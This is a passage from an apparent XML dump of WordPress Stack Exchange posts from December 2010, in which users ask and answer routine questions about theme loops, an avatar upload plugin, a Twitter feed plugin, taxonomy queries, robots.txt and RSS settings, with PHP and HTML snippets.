get_posts('category_name=testimonial&amp;amp;numberposts=-1&amp;amp;order=DES');&#xA; foreach ($postslist as $post) : &#xA;    setup_postdata($post);&#xA; ?&amp;gt;&#xA;          &amp;lt;li&amp;gt; &#xA;            &amp;lt;?php the_post_thumbnail( 'nav' ); ?&amp;gt;&#xA;          &amp;lt;/li&amp;gt;&#xA;          &amp;lt;?php endforeach; ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;&#xA;      &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    $(&quot;.default .jCarouselLite&quot;).jCarouselLite({&#xA;        btnNext: &quot;.default .next&quot;,&#xA;        btnPrev: &quot;.default .prev&quot;,&#xA;  visible: 3,&#xA;  scroll: 3,&#xA;  speed:100&#xA;    });   &#xA;      &amp;lt;/script&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1858" LastActivityDate="2010-12-13T13:00:36.003" Title="How to show a featured image as current?" Tags="&lt;post-thumbnails&gt;&lt;current-filter&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="5240" PostTypeId="1" CreationDate="2010-12-13T00:37:34.310" Score="0" ViewCount="339" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://wordpress.org/extend/plugins/add-local-avatar/&quot; rel=&quot;nofollow&quot;&gt;Add Local Avatar (Wordpress Plugin)&lt;/a&gt; but I also want to use the theme of this add-on features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I created a page in the theme. pruning to get the avatar replacement page. I add it to the top of this page codes;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( $_POST['edit_profile'] == '1'){&#xA; if(isset($_POST['profil_resimi']) &amp;amp;&amp;amp; @$_POST['profil_resimi']['name']){&#xA;  $oAvatar-&amp;gt;avatar_upload();&#xA; }&#xA; /*$profil_resimi = $_POST['profil_resimi'];*/&#xA; $avatar_delete = $_POST['avatar_delete'];&#xA; $profil_resimi_twitter = $_POST['profil_resimi_twitter'];&#xA; $message = edit_user_profile_picture($profil_resimi, $avatar_delete, $profil_resimi_twitter);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i use these codes on the page;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form name=&quot;editprofile&quot; enctype=&quot;multipart/form-data&quot; id=&quot;editprofile&quot; action=&quot;&quot; method=&quot;post&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;icerik-ana-tablo-profil-resimi-yukle-tablo&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;icerik-ana-tablo-profil-resimi-yukle-tablo-resim&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;tipografi-resim-orta-resim&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;tipografi-resim-orta-resim-tablo&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;tipografi-resim-orta-resim-tablo-resim&quot;&amp;gt;&#xA;&amp;lt;?php global $user_email; get_currentuserinfo(); if(function_exists('get_avatar')) { echo get_avatar($user_email, '135'); } ?&amp;gt;&#xA;&amp;lt;div class=&quot;tipografi-resim-orta-resim-tablo-resim-aciklama&quot;&amp;gt;Mevcut Resim&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;icerik-ana-tablo-profil-resimi-yukle-tablo-icerik&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;if($oAvatar-&amp;gt;avatar_options['upload_allowed'] == 'on' || current_user_can('edit_users')){&#xA; if(empty($user-&amp;gt;avatar)){&#xA;  if(!$widget || ($widget &amp;amp;&amp;amp; $show_text)){&#xA;   echo '&amp;lt;h2 class=&quot;icerik-ana-tablo-profil-resimi-yukle-tablo-icerik-baslik&quot;&amp;gt;&amp;lt;span&amp;gt;' . $oAvatar-&amp;gt;get_avatar_type(), __('&amp;lt;/span&amp;gt; Profil Resminizi, &amp;lt;span&amp;gt;Yerel&amp;lt;/span&amp;gt; Profil Resmi İle Değiştirebilirsiniz.&amp;lt;/h2&amp;gt;', 'avatars');&#xA;  }&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;icerik-ana-tablo-profil-resimi-yukle-tablo-icerik-form&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;icerik-ana-tablo-profil-resimi-yukle-tablo-icerik-form-sol&quot;&amp;gt;&amp;lt;input type=&quot;file&quot; name=&quot;profil_resimi&quot; id=&quot;profil_resimi&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;icerik-ana-tablo-profil-resimi-yukle-tablo-icerik-form-sag&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;  if(!$widget){&#xA;   echo __('Hints: Square images make better avatars.', 'avatars');&#xA;   /*echo __('Small image files are best for avatars, e.g. approx. 10K or smaller.', 'avatars');*/&#xA;  }&#xA;?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;  if($oAvatar-&amp;gt;avatar_options['twitter'] == 'on'){&#xA;   echo '&amp;lt;h2 class=&quot;icerik-ana-tablo-profil-resimi-yukle-tablo-icerik-baslik&quot;&amp;gt;&amp;lt;em&amp;gt;yada&amp;lt;/em&amp;gt; &amp;lt;span&amp;gt;Twitter&amp;lt;/span&amp;gt; Profil Resminizi Kullanabilirsiniz.&amp;lt;/h2&amp;gt;';&#xA;   echo '&amp;lt;fieldset&amp;gt;';&#xA;   echo '&amp;lt;legend&amp;gt;&amp;lt;label for=&quot;new_user_login&quot; title=&quot;&quot;&amp;gt;&amp;lt;label for=&quot;idAvatarTwitter&quot;&amp;gt;Twitter Kullanıcı Adı&amp;lt;/label&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/legend&amp;gt;';&#xA;   printf('&amp;lt;input type=&quot;text&quot; value=&quot;' . $last_profil_resimi_twitter . '&quot; id=&quot;idAvatarTwitter&quot; name=&quot;profil_resimi_twitter&quot; /&amp;gt;', $user-&amp;gt;profil_resimi_twitter, $widget ? 20 : 35);&#xA;   echo '&amp;lt;/fieldset&amp;gt;';&#xA;  }&#xA; } else {&#xA;  echo '&amp;lt;h2 class=&quot;icerik-ana-tablo-profil-resimi-yukle-tablo-icerik-baslik&quot;&amp;gt;';&#xA;  if(!$widget || ($widget &amp;amp;&amp;amp; $show_text)){&#xA;   echo __('Local avatar, delete to revert to global avatar.', 'avatars');&#xA;  }&#xA;  echo '&amp;lt;/h2&amp;gt;';&#xA;  echo '&amp;lt;div class=&quot;icerik-ana-tablo-profil-resimi-yukle-tablo-icerik-form-sil&quot;&amp;gt;';&#xA;  echo '&amp;lt;input type=&quot;checkbox&quot; name=&quot;avatar_delete&quot; id=&quot;avatar_delete&quot; /&amp;gt; ';&#xA;  echo __('delete local avatar.', 'avatars');&#xA;  echo '&amp;lt;/div&amp;gt;';&#xA;  echo '&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;';&#xA;  echo '$(document).ready(function($) {';&#xA;  echo ' $(&quot;.icerik-ana-tablo-profil-resimi-yukle-tablo-icerik&quot;).dikeyHizalama();';&#xA;  echo '});';&#xA;  echo '&amp;lt;/script&amp;gt;';&#xA; }&#xA;} else {&#xA; if($widget &amp;amp;&amp;amp; $show_text) echo __('Current avatar, contact blog administrator to change.', 'avatars');&#xA; else if(!$widget) echo __('Avatar uploads not allowed (Administrator may set on &amp;lt;i&amp;gt;Users » Avatars&amp;lt;/i&amp;gt; page).', 'avatars');&#xA; echo '&amp;lt;p style=&quot;clear: both;&quot;&amp;gt; &amp;lt;/p&amp;gt;';&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;icerik-ana-tablo-profil-resimi-yukle-tablo-icerik-buton&quot;&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;wp-submit&quot; id=&quot;wp-submit&quot; value=&quot;Profil Resmini Değiştir&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;functions.php file, add these codes;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function edit_user_profile_picture($profil_resmi, $avatar_delete, $profil_resmi_twitter){&#xA; $profil_resmi_stripped = strip_tags($profil_resmi);&#xA; $avatar_delete_stripped = strip_tags($avatar_delete);&#xA; $profil_resmi_twitter_stripped = strip_tags($profil_resmi_twitter);&#xA;&#xA; $user = wp_get_current_user();&#xA;&#xA; update_usermeta( $user-&amp;gt;ID, 'profil_resmi', $profil_resmi_stripped);&#xA; update_usermeta( $user-&amp;gt;ID, 'avatar_delete', $avatar_delete_stripped);&#xA; update_usermeta( $user-&amp;gt;ID, 'profil_resmi_twitter', $profil_resmi_twitter_stripped);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;seamless data exchange in this way, the user profile updates but not upload the image file. particularly looked at! i send the form, the upload image data is logged to the database but picture does not upload, does not make any changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;briefly: plug in the file (avatars.php) &quot;avatar_upload&quot; function is not running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;waiting for your help on this issue.&#xA;thanks&lt;/p&gt;&#xA;" OwnerUserId="1863" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T18:03:02.620" LastActivityDate="2011-02-05T18:03:02.620" Title="Problem uploading image with &quot;Add Local Avatar&quot; plugin" Tags="&lt;images&gt;&lt;uploads&gt;" AnswerCount="0" CommentCount="2" />
  <row Id="5241" PostTypeId="1" AcceptedAnswerId="5247" CreationDate="2010-12-13T01:16:54.320" Score="-1" ViewCount="104" Body="&lt;p&gt;I have the following foreach witch gets all the content in several groups. I am using Magic Fields. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php $omtaleseksjoner = get_group('Seksjoner');&#xA;foreach($omtaleseksjoner as $seksjoner){ &#xA;    echo &quot;&amp;lt;h3&amp;gt;&quot; . $seksjoner['sectiontitle'][1] . &quot;&amp;lt;/h3&amp;gt;&quot;;&#xA;    echo $seksjoner['sectioncontent'][1];&#xA;} &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have usually 5 groups in this foreach, and I want to break it off in two places. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to insert other content e.g. after group 2 and 4 ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1463" LastActivityDate="2010-12-13T06:58:27.560" Title="Add content in between of foreach" Tags="&lt;customization&gt;&lt;query&gt;" AnswerCount="1" />
  <row Id="5242" PostTypeId="2" ParentId="5231" CreationDate="2010-12-13T03:12:59.210" Score="9" ViewCount="" Body="&lt;p&gt;Admin Dashboard -&gt; Appearance -&gt; Menus&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the theme is WP 3.0 ready, you will have an option to add a custom link (ie external link) on the left side, and you can drag and drop it into the order you want.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Justin Tadlock wrote an awesome post about 3.0 menus - &lt;a href=&quot;http://justintadlock.com/archives/2010/06/01/goodbye-headaches-hello-menus&quot; rel=&quot;nofollow&quot;&gt;http://justintadlock.com/archives/2010/06/01/goodbye-headaches-hello-menus&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your theme isn't 3.0 ready, I believe you can still use the custom menu widget.&lt;/p&gt;&#xA;" OwnerUserId="1663" LastActivityDate="2010-12-13T03:12:59.210" />
  <row Id="5243" PostTypeId="2" ParentId="5230" CreationDate="2010-12-13T03:16:40.927" Score="2" ViewCount="" Body="&lt;p&gt;If you've got a lot of hosts with tons of databases, perhaps it's time to upgrade to a dedicated server?  I host with Liquid Web and have been VERY happy.&lt;/p&gt;&#xA;" OwnerUserId="1663" LastActivityDate="2010-12-13T03:16:40.927" />
  <row Id="5244" PostTypeId="1" AcceptedAnswerId="5311" CreationDate="2010-12-13T03:46:42.643" Score="0" ViewCount="351" Body="&lt;p&gt;I have a custom page template that loops through all custom posts with the post_type of &quot;product_listing&quot; AND the custom taxonomy &quot;product_cat&quot; of &quot;shirts&quot; and returns 4 posts per page (as seen below:)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $loop = new WP_Query( array( 'post_type' =&amp;gt; 'product_listing', 'product_cat' =&amp;gt; 'shirts', 'posts_per_page' =&amp;gt; 4 ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is the client's responsibility to manage those categories.  I'd like to assign a variable to display in place of &quot;shirts&quot; so that I don't have to modify the template each time the client adds a new product category (such as shoes, pants, etc.). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not a programmer by any means.  Does anybody have a snippet of code that would work for this?  Or perhaps an article I could read more about assigning dynamic variables in the loop?  Thanks! &lt;/p&gt;&#xA;" OwnerUserId="1663" LastActivityDate="2010-12-14T00:42:18.117" Title="Dynamic variable for custom taxonomy in loop?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;variables&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="5245" PostTypeId="1" AcceptedAnswerId="5246" CreationDate="2010-12-13T03:55:16.077" Score="2" ViewCount="148" Body="&lt;p&gt;How can I create a form that allows people to submit questions / ideas that once submitted creates a post in wordpress?&lt;/p&gt;&#xA;" OwnerUserId="1931" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2010-12-15T14:17:42.573" LastActivityDate="2010-12-15T14:17:42.573" Title="Form that creates posts" Tags="&lt;plugin-recommendation&gt;&lt;forms&gt;" AnswerCount="2" />
  <row Id="5246" PostTypeId="2" ParentId="5245" CreationDate="2010-12-13T04:37:42.290" Score="2" ViewCount="" Body="&lt;p&gt;The excellent &lt;a href=&quot;http://www.gravityforms.com/&quot; rel=&quot;nofollow&quot;&gt;Gravity Forms&lt;/a&gt; plugin makes this extremely easy. It's not free (starts at $39), but I highly recommend it.&#xA;&lt;em&gt;I am not affiliated with the Gravity Forms team in any way - I'm just a satisfied customer!&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-12-13T04:37:42.290" CommentCount="1" />
  <row Id="5247" PostTypeId="2" ParentId="5241" CreationDate="2010-12-13T06:58:27.560" Score="3" ViewCount="" Body="&lt;p&gt;You can keep tracks of number of cycles and run extras when counter matches. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$array  = array(1,2,3,4,5);&#xA;&#xA;$i = 0;&#xA;&#xA;foreach($array as $set) {&#xA;&#xA;    if(2 == $i)&#xA;        echo 'after 2';&#xA;&#xA;    if(4 == $i)&#xA;        echo 'after 4';&#xA;&#xA;    echo $set;&#xA;&#xA;    $i++;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I must note that this is more of PHP basics and really has nothing to do with WordPress. I highly recommend &lt;a href=&quot;http://www.php.net/manual/&quot; rel=&quot;nofollow&quot;&gt;PHP documentation&lt;/a&gt; as first stop for such.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-13T06:58:27.560" />
  <row Id="5248" PostTypeId="1" AcceptedAnswerId="6779" CreationDate="2010-12-13T06:59:56.497" Score="-1" ViewCount="105" Body="&lt;p&gt;this code is working perfect for me, but just want to know, how can i bring this after my post, currently all my tweets are coming before the post, how can i make it before the post??&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function parse_twitter_feed($feed, $prefix, $tweetprefix, $tweetsuffix, $suffix) {&#xA;  $feed = str_replace(&quot;&amp;amp;lt;&quot;, &quot;&amp;lt;&quot;, $feed);&#xA;  $feed = str_replace(&quot;&amp;amp;gt;&quot;, &quot;&amp;gt;&quot;, $feed);&#xA;  $clean = explode(&quot;&amp;lt;content type=\&quot;html\&quot;&amp;gt;&quot;, $feed);&#xA;&#xA;  $amount = count($clean) - 1;&#xA;&#xA;  echo $prefix;&#xA;&#xA;  for ($i = 1; $i &amp;lt;= $amount; $i++) {&#xA;    $cleaner = explode(&quot;&amp;lt;/content&amp;gt;&quot;, $clean[$i]);&#xA;    echo $tweetprefix;&#xA;    echo $cleaner[0];&#xA;    echo $tweetsuffix;&#xA;  }&#xA;&#xA;  echo $suffix;&#xA;}&#xA;&#xA;function the_twitter_feed($username) {&#xA;  // $username = &quot;Mba_&quot;; // Your twitter username.&#xA;  $limit = &quot;5&quot;; // Number of tweets to pull in.&#xA;&#xA;  /* These prefixes and suffixes will display before and after the entire block of tweets. */&#xA;  $prefix = &quot;&quot;; // Prefix - some text you want displayed before all your tweets.&#xA;  $suffix = &quot;&quot;; // Suffix - some text you want displayed after all your tweets.&#xA;  $tweetprefix = &quot;&quot;; // Tweet Prefix - some text you want displayed before each tweet.&#xA;  $tweetsuffix = &quot;&amp;lt;br&amp;gt;&quot;; // Tweet Suffix - some text you want displayed after each tweet.&#xA;&#xA;  $feed = &quot;http://search.twitter.com/search.atom?q=from:&quot; . $username . &quot;&amp;amp;rpp=&quot; . $limit;&#xA;&#xA;  $twitterFeed = get_transient($feed);&#xA;  if (!$twitterFeed) {&#xA;    $twitterFeed = wp_remote_fopen($feed);&#xA;    set_transient($feed, $twitterFeed, 3600); // cache for an hour&#xA;  }&#xA;  if ($twitterFeed)&#xA;    parse_twitter_feed($twitterFeed, $prefix, $tweetprefix, $tweetsuffix, $suffix);&#xA;}&#xA;function append_the_content($content) {&#xA;    $content .= the_twitter_feed(get_option('tweetID'));&#xA;       return $content;&#xA;}&#xA;add_filter('the_content', 'append_the_content');&#xA;&#xA;add_action('admin_menu','tweet_fetch');&#xA;&#xA;function tweet_fetch(){&#xA;add_options_page('Tweet','Tweet', 8, 'tweet', 'tweet_fetcher');&#xA;}&#xA;function tweet_fetcher(){&#xA;?&amp;gt;&#xA;&amp;lt;h2&amp;gt;Tweet Fetcher options&amp;lt;/h2&amp;gt;&#xA;&amp;lt;form method='post' action='options.php' style='margin:0 20px;'&amp;gt;&#xA;&amp;lt;?php wp_nonce_field('update-options'); ?&amp;gt;&#xA;&amp;lt;p&amp;gt;Twitter UserID:&amp;lt;input type=&quot;text&quot; name=&quot;tweetID&quot;  value=&quot;&amp;lt;?php echo get_option('tweetID'); ?&amp;gt;&quot; &amp;lt;?php echo get_option('tweetID'); ?&amp;gt; /&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;input type='hidden' name='action' value='update'/&amp;gt;&#xA;&amp;lt;input type='hidden' name='page_options' value='tweetID'/&amp;gt;&#xA;&amp;lt;p class='submit'&amp;gt;&#xA;&amp;lt;input type='submit' name='Submit' value='Update Options &amp;amp;raquo;'/&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="1743" LastEditorDisplayName="" LastEditDate="2010-12-13T12:59:55.113" LastActivityDate="2011-01-12T07:42:45.563" Title="plugin backend help" Tags="&lt;plugin-development&gt;" AnswerCount="1" CommentCount="7" />
  <row Id="5250" PostTypeId="1" CreationDate="2010-12-13T08:53:10.660" Score="1" ViewCount="195" Body="&lt;p&gt;I wonder if someone could help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just upgrade my wordpress and start to use taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what I want to do is to query posts from different categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used to do it like this &#xA;&lt;code&gt;query_posts('cat=5');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but with taxonomy added to my categories, doesnt work anymore&#xA;for example if I go to a category page the link goes like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;www.website.com/ad-category/cars&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess my taxonomy category name is &quot;ad-category&quot; and the category name is cars&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but how could I query posts from categories ids, example 5,6,7,8 etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thak you for your time!!&lt;/p&gt;&#xA;" LastActivityDate="2011-04-02T20:13:01.910" Title="quey posts from different categories with taxonomy" Tags="&lt;custom-taxonomy&gt;&lt;query-posts&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="5251" PostTypeId="2" ParentId="5244" CreationDate="2010-12-13T09:15:50.060" Score="0" ViewCount="" Body="&lt;p&gt;You could let your client add the product category via a custom field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $loop = new WP_Query( array( 'post_type' =&amp;gt; 'product_listing', 'product_cat' =&amp;gt; get_post_meta($post-&amp;gt;ID, 'product_cat', true), 'posts_per_page' =&amp;gt; 4 ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should work if your client adds a custom field value for the key 'product_cat'.&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2010-12-13T09:15:50.060" CommentCount="1" />
  <row Id="5252" PostTypeId="2" ParentId="2922" CreationDate="2010-12-13T09:32:43.523" Score="0" ViewCount="" Body="&lt;p&gt;If you are using feedburner you can use &lt;a href=&quot;http://www.google.com/support/feedburner/bin/answer.py?hl=en&amp;amp;answer=78971&quot; rel=&quot;nofollow&quot;&gt;SmartFeed&lt;/a&gt; which can 'translate' your feed from Atom to Rss so you will not need to provide both formats yourself.&lt;/p&gt;&#xA;" OwnerUserId="1133" LastActivityDate="2010-12-13T09:32:43.523" />
  <row Id="5253" PostTypeId="2" ParentId="5231" CreationDate="2010-12-13T09:33:34.297" Score="0" ViewCount="" Body="&lt;p&gt;If your Theme is not 'Menu' ready, I suggest you to use my plugin 'Redirector' &#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/redirector/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/redirector/&lt;/a&gt;&#xA;After activating the plugin you have a new meta box on the 'page' screen.&#xA;There you can select any of your pages or an external url&lt;/p&gt;&#xA;" OwnerUserId="1379" LastEditorUserId="1379" LastEditorDisplayName="" LastEditDate="2010-12-13T12:57:34.060" LastActivityDate="2010-12-13T12:57:34.060" />
  <row Id="5254" PostTypeId="1" AcceptedAnswerId="5303" CreationDate="2010-12-13T09:38:52.443" Score="1" ViewCount="387" Body="&lt;p&gt;How can I show 'Read more' links in rss feed instead of showing excerpt? The settings in reading only allow to choose between full content and excerpt.&lt;/p&gt;&#xA;" OwnerUserId="1133" LastActivityDate="2010-12-13T23:00:15.280" Title="Show 'Read more' in rss feed" Tags="&lt;posts&gt;&lt;rss&gt;&lt;feed&gt;" AnswerCount="4" CommentCount="3" />
  <row Id="5255" PostTypeId="2" ParentId="5229" CreationDate="2010-12-13T09:39:45.533" Score="1" ViewCount="" Body="&lt;p&gt;I think you can achieve this by first reversing the sorting order (filter &lt;code&gt;posts_orderby&lt;/code&gt;), and then reversing the selected posts (filter &lt;code&gt;the_posts&lt;/code&gt;). By doing this double reverse you circumvent the problem that you have to know the number of posts your query will return before you execute the query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that WordPress (I think via the canonical rewriter) will remove the &lt;code&gt;/page/1&lt;/code&gt; part of your URL, so you should prevent this from happening. Also sticky posts might need attention. See the code for &lt;code&gt;WP_Query::get_posts()&lt;/code&gt; for hooks to change the post query.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-12-13T09:39:45.533" />
  <row Id="5256" PostTypeId="1" AcceptedAnswerId="5274" CreationDate="2010-12-13T10:24:46.980" Score="4" ViewCount="270" Body="&lt;p&gt;What is the &quot;best&quot; setup for &lt;code&gt;robots.txt&lt;/code&gt;?&lt;br&gt;&#xA;I'm using the following permalink structure &lt;code&gt;/%category%/%postname%/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &lt;code&gt;robots.txt&lt;/code&gt; currently looks like this (copied from somewhere a long time ago):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;User-agent: *&#xA;Disallow: /cgi-bin&#xA;Disallow: /wp-admin&#xA;Disallow: /wp-includes&#xA;Disallow: /wp-content/plugins&#xA;Disallow: /wp-content/cache&#xA;Disallow: /wp-content/themes&#xA;Disallow: /trackback&#xA;Disallow: /comments&#xA;Disallow: /category/*/*&#xA;Disallow: */trackback&#xA;Disallow: */comments&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I want my comments to be indext. So I can remove this&lt;/li&gt;&#xA;&lt;li&gt;Do I want to disallow indexing categories because of my permalinkstructure?&lt;/li&gt;&#xA;&lt;li&gt;An article can have several tags and be in multiple categories. This may cause duplicates in google. How should I work around this?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Would you change anything else here?&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2010-12-13T15:05:01.083" Title="What is a good robots.txt?" Tags="&lt;categories&gt;&lt;robots&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" />
  <row Id="5257" PostTypeId="2" ParentId="5151" CreationDate="2010-12-13T11:03:27.947" Score="0" ViewCount="" Body="&lt;p&gt;You can do this using some basic JS if you want to roll your own, see here for some examples.&lt;br&gt;&#xA;&lt;a href=&quot;http://www.quirksmode.org/js/popup.html&quot; rel=&quot;nofollow&quot;&gt;http://www.quirksmode.org/js/popup.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could probably also use the thickbox script if you're looking for modal-style dialog..&#xA;&lt;a href=&quot;http://wpengineer.com/415/use-javascript-libraries-in-and-of-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://wpengineer.com/415/use-javascript-libraries-in-and-of-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; You don't have to load an image into that modal window, though that is it's typical use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lots of options, use whichever suits your needs most..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally i think the UI Dialog scripts looks interesting(would be overkill for a singular box though imho).&#xA;&lt;a href=&quot;http://docs.jquery.com/UI/Dialog&quot; rel=&quot;nofollow&quot;&gt;http://docs.jquery.com/UI/Dialog&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-12-13T11:03:27.947" />
  <row Id="5258" PostTypeId="2" ParentId="5237" CreationDate="2010-12-13T11:05:36.393" Score="0" ViewCount="" Body="&lt;p&gt;This code is untested, but put it in your function.php file ans see what happends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory this should happen:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It adds an extra menu item in the admin interface&lt;/li&gt;&#xA;&lt;li&gt;Adds two meta boxes for categories and tags&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In your template, all you have to do is get the values from the meta tags by using this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$categories = get_option('fp_categories');&#xA;$tags = get_option('fp_tags');;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then use this in you &lt;code&gt;query_post&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the plugin / code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_menu', 'cms_options_menu');&#xA;&#xA;&#xA;function cms_options_menu() {&#xA;&#xA;    //create new top-level menu&#xA;    add_menu_page('CMS options', __('CMS options'), 'administrator', __FILE__, 'cms_options_page',plugins_url('/images/icon.png', __FILE__));&#xA;    //call register settings function&#xA;    add_action( 'admin_init', 'register_cms_options' );&#xA;}&#xA;&#xA;&#xA;function register_cms_options() {&#xA;  //register our settings&#xA;  register_setting( 'cms-options', 'fp_categories' );&#xA;  register_setting( 'cms-options', 'fp_tags' );&#xA;}&#xA;&#xA;&#xA;function cms_options_page() {&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;&amp;lt;h2&amp;gt;CMS settings&amp;lt;/h2&amp;gt;&#xA;&#xA;&amp;lt;form method=&quot;post&quot; action=&quot;options.php&quot;&amp;gt;&#xA;    &amp;lt;?php settings_fields( 'cms-options' ); ?&amp;gt;&#xA;    &amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;        &amp;lt;tr valign=&quot;top&quot;&amp;gt;&#xA;          &amp;lt;td scope=&quot;row&quot;&amp;gt;&amp;lt;?php _e('Categories');?&amp;gt;&amp;lt;/td&amp;gt;&#xA;          &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;fp_categories&quot; class=&quot;regular-text&quot; value=&quot;&amp;lt;?php echo get_option('fp_categories'); ?&amp;gt;&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;        